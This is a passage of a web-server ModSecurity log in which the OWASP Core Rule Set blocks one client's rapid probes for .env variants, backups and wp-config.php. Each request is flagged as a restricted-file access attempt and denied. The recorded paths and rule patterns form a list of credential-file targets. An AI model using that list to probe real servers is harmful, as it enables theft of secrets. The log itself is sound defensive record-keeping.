&quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lab/.env&quot;] [unique_id &quot;aSx6Ji6tRBnriPIR7Vg5tAAAAAw&quot;]
[Sun Nov 30 18:08:54.065159 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lab/.env&quot;] [unique_id &quot;aSx6Ji6tRBnriPIR7Vg5tAAAAAw&quot;]
[Sun Nov 30 18:08:54.065382 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lab/.env&quot;] [unique_id &quot;aSx6Ji6tRBnriPIR7Vg5tAAAAAw&quot;]
[Sun Nov 30 18:08:54.288772 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.bak&quot;] [unique_id &quot;aSx6Ji6tRBnriPIR7Vg5tQAAAAw&quot;]
[Sun Nov 30 18:08:54.288940 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.bak&quot;] [unique_id &quot;aSx6Ji6tRBnriPIR7Vg5tQAAAAw&quot;]
[Sun Nov 30 18:08:54.289147 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.bak&quot;] [unique_id &quot;aSx6Ji6tRBnriPIR7Vg5tQAAAAw&quot;]
[Sun Nov 30 18:08:54.289373 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.bak&quot;] [unique_id &quot;aSx6Ji6tRBnriPIR7Vg5tQAAAAw&quot;]
[Sun Nov 30 18:08:54.512684 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.bak&quot;] [unique_id &quot;aSx6Ji6tRBnriPIR7Vg5tgAAAAw&quot;]
[Sun Nov 30 18:08:54.512853 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.bak&quot;] [unique_id &quot;aSx6Ji6tRBnriPIR7Vg5tgAAAAw&quot;]
[Sun Nov 30 18:08:54.513059 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.bak&quot;] [unique_id &quot;aSx6Ji6tRBnriPIR7Vg5tgAAAAw&quot;]
[Sun Nov 30 18:08:54.513268 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.bak&quot;] [unique_id &quot;aSx6Ji6tRBnriPIR7Vg5tgAAAAw&quot;]
[Sun Nov 30 18:08:55.409309 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /v2/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v2/.env&quot;] [unique_id &quot;aSx6Jy6tRBnriPIR7Vg5ugAAAAw&quot;]
[Sun Nov 30 18:08:55.409528 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v2/.env&quot;] [unique_id &quot;aSx6Jy6tRBnriPIR7Vg5ugAAAAw&quot;]
[Sun Nov 30 18:08:55.409744 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v2/.env&quot;] [unique_id &quot;aSx6Jy6tRBnriPIR7Vg5ugAAAAw&quot;]
[Sun Nov 30 18:08:55.857990 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.sample&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sample&quot;] [unique_id &quot;aSx6Jy6tRBnriPIR7Vg5vAAAAAw&quot;]
[Sun Nov 30 18:08:55.858238 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sample&quot;] [unique_id &quot;aSx6Jy6tRBnriPIR7Vg5vAAAAAw&quot;]
[Sun Nov 30 18:08:55.858487 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sample&quot;] [unique_id &quot;aSx6Jy6tRBnriPIR7Vg5vAAAAAw&quot;]
[Sun Nov 30 18:08:56.081920 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /public/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env&quot;] [unique_id &quot;aSx6KC6tRBnriPIR7Vg5vQAAAAw&quot;]
[Sun Nov 30 18:08:56.082142 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env&quot;] [unique_id &quot;aSx6KC6tRBnriPIR7Vg5vQAAAAw&quot;]
[Sun Nov 30 18:08:56.082381 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env&quot;] [unique_id &quot;aSx6KC6tRBnriPIR7Vg5vQAAAAw&quot;]
[Sun Nov 30 18:08:56.530231 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.prod&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aSx6KC6tRBnriPIR7Vg5vwAAAAw&quot;]
[Sun Nov 30 18:08:56.530498 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aSx6KC6tRBnriPIR7Vg5vwAAAAw&quot;]
[Sun Nov 30 18:08:56.530730 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aSx6KC6tRBnriPIR7Vg5vwAAAAw&quot;]
[Sun Nov 30 18:08:56.979328 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;aSx6KC6tRBnriPIR7Vg5wQAAAAw&quot;]
[Sun Nov 30 18:08:56.979553 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;aSx6KC6tRBnriPIR7Vg5wQAAAAw&quot;]
[Sun Nov 30 18:08:56.979765 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;aSx6KC6tRBnriPIR7Vg5wQAAAAw&quot;]
[Sun Nov 30 18:08:57.203297 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.save&quot;] [unique_id &quot;aSx6KS6tRBnriPIR7Vg5wgAAAAw&quot;]
[Sun Nov 30 18:08:57.203515 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.save&quot;] [unique_id &quot;aSx6KS6tRBnriPIR7Vg5wgAAAAw&quot;]
[Sun Nov 30 18:08:57.203724 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.save&quot;] [unique_id &quot;aSx6KS6tRBnriPIR7Vg5wgAAAAw&quot;]
[Sun Nov 30 18:08:57.427163 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /kubernetes/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kubernetes/.env&quot;] [unique_id &quot;aSx6KS6tRBnriPIR7Vg5wwAAAAw&quot;]
[Sun Nov 30 18:08:57.427393 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kubernetes/.env&quot;] [unique_id &quot;aSx6KS6tRBnriPIR7Vg5wwAAAAw&quot;]
[Sun Nov 30 18:08:57.427608 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kubernetes/.env&quot;] [unique_id &quot;aSx6KS6tRBnriPIR7Vg5wwAAAAw&quot;]
